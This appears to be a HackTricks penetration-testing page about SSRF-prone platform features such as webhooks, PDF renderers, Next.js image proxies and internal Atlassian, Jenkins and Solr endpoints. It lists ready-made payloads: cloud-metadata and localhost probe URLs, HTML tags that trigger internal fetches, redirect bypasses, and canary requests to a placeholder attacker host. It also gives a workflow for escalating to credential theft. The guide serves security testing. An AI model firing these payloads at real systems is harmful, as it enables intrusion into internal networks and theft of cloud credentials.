🤖 HackTricks / SSRF Vulnerable Platforms

SSRF Vulnerable Platforms

This page is focused on platforms and features that frequently turn a blind SSRF into a useful pivot. For generic SSRF basics, gopher payloads and protocol abuse, check the main SSRF page. For cloud metadata endpoints, check cloud-ssrf.md. For parser and allowlist bypasses, check url-format-bypass.md.

High-signal modern SSRF surfaces

Webhooks, callbacks and outgoing integrations

Outgoing webhooks are still one of the highest-signal places to hunt for SSRF. Modern SaaS products, self-hosted dashboards, Git services, on-call platforms, crawlers, and automation tools often let users register a callback URL and then send a server-side request to it later.

This keeps showing up in recent advisories because the primitive is very powerful:

  • the request usually comes from a privileged internal host
  • the request is often blind / asynchronous
  • some implementations let you control the method, headers, and even the body
  • the webhook worker is commonly allowed to reach RFC1918, localhost, and link-local metadata unless explicit SSRF protections exist

Recent examples include webhook SSRF issues in Grafana OnCall, Gogs, Soft Serve, and Firecrawl.

Useful first probes:

http://127.0.0.1:2375/version
http://127.0.0.1:8500/v1/status/leader
http://127.0.0.1:8983/solr/admin/info/system
http://127.0.0.1:9200/_cat/health
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/computeMetadata/v1/

If the webhook feature lets you set custom headers, non-GET methods, or a raw request body, the impact increases a lot because you can start testing things like:

  • GCP metadata with Metadata-Flavor: Google
  • AWS IMDSv2 token requests with PUT /latest/api/token
  • authenticated internal APIs that trust requests coming from the platform itself

HTML-to-PDF, screenshot and headless-browser renderers

If a product can render HTML into PDF, generate a screenshot, create a preview card, or visit a page in a headless browser, treat it as an SSRF sink until proven otherwise.

This is especially common in:

  • reporting / analytics exports
  • invoice or receipt generation
  • admin "print to PDF" features
  • screenshot-as-a-service tools
  • HTML-to-PDF APIs such as Gotenberg or wrappers around Chromium / wkhtmltopdf

Typical probes:

<img src="http://127.0.0.1:2375/version">
<link rel="stylesheet" href="http://127.0.0.1:8983/solr/admin/info/system">
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
<script>fetch('http://127.0.0.1:8080/')</script>

Notes:

  • Even if the response is not reflected, the feature is often a blind SSRF gadget and can still be verified with OAST interactions.
  • Headless Chromium based renderers may execute JavaScript, which makes them more powerful than simple curl-style fetchers.
  • If you find a PDF renderer that only accepts uploaded HTML, remember that asset URLs inside HTML/CSS are usually enough to get SSRF.

For a bigger PDF-specific discussion, also check the HTML-to-PDF notes already present in the main SSRF page.

Importers, previewers, avatar fetchers and image proxies

A lot of modern applications fetch remote content on behalf of the user without calling it a "webhook":

  • repository import / mirroring
  • avatar import from URL
  • image fetch / resize / optimization endpoints
  • link preview / unfurl workers
  • feed readers, scrapers, crawler jobs, markdown previewers

A recent high-value example is Next.js:

  • the _next/image endpoint becomes a blind SSRF gadget when remotePatterns are too broad or when an allowed domain has an open redirect
  • Server Actions had a 2024 SSRF bug where a crafted request plus a server-side redirect could be turned into a full-read SSRF (fixed in Next.js 14.1.1)

Examples:

/_next/image?url=https://localhost:8080/admin&w=256&q=75
/_next/image?url=https://allowed.example/redirect?u=http://169.254.169.254/latest/meta-data/&w=256&q=75

When auditing these features, look for places where the platform:

  • resolves a user-controlled URL and then fetches it later
  • performs only a single allowlist check before following redirects
  • trusts the Host header or an internal rewrite step
  • assumes a resource is safe because it is an image, PDF, or OpenGraph preview

Blind SSRF canaries against internal software

When the primitive is blind, try to bounce it through internal software that performs another outbound request to your OAST domain. This both proves reachability and often fingerprints the internal platform.

High-signal candidates taken from the Assetnote blind SSRF chains research:

Useful blind SSRF canaries 
# Confluence Sharelinks
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

# Confluence / Jira iconUriServlet
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

# Jira makeRequest
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com

# Jenkins GitHubTokenCredentialsCreator
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=a&password=b

# Apache Solr shards=
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}

# GitLab Redis exporter pivot
/scrape?target=redis://127.0.0.1:7001&check-keys=*

Other evergreen internal targets worth probing from a SSRF sink are:

  • Docker API: /containers/json, /services, /secrets
  • Consul: /v1/status/leader
  • Elasticsearch: /_cluster/health, /_cat/indices
  • Solr: /solr/admin/info/system
  • Jenkins: /login, /script, plugin-specific endpoints
  • Prometheus / exporters / internal observability stacks

This page is intentionally keeping the list short. For a much larger chain catalog, check the original Blind SSRF Chains research linked below.

Practical workflow

  1. Confirm OAST using Interactsh / Burp Collaborator / webhook.site.
  2. Derive internal hostnames from DNS data, certificates, ELB names, app error messages, or naming conventions such as jira, jenkins, grafana, solr, consul, redis, gitlab, argo, vault, kibana.
  3. Spray platform-specific canaries instead of only probing / on random ports.
  4. If you get any sign of internal reachability, pivot into:
  5. cloud-ssrf.md for metadata endpoints
  6. url-format-bypass.md for allowlist bypasses
  7. protocol-specific exploitation from the main SSRF page

A blind SSRF with only DNS callbacks can still be enough to:

  • prove access to specific internal applications
  • prove access to cloud metadata
  • turn a "low severity webhook issue" into a credential theft or internal admin plane finding

References